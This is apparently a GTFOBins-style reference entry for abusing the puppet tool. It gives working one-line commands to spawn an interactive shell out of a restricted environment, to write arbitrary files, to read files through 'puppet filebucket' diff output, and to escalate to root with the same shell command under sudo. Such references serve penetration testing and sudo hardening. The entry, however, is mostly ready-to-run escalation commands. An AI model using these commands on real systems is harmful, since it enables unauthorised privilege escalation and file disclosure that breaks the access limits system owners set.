It can be used to break out from restricted environments by spawning an interactive system shell.
puppet apply -e "exec { '/bin/sh -c \"exec sh -i <$(tty) >$(tty) 2>$(tty)\"': }"
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
The file path must be absolute.
export LFILE="/tmp/file_to_write"
puppet apply -e "file { '$LFILE': content => 'DATA' }"
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
The read file content is corrupted by the diff
output format. The actual /usr/bin/diff
command is executed.
export LFILE=file_to_read
puppet filebucket -l diff /dev/null $LFILE
It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo
.
sudo puppet apply -e "exec { '/bin/sh -c \"exec sh -i <$(tty) >$(tty) 2>$(tty)\"': }"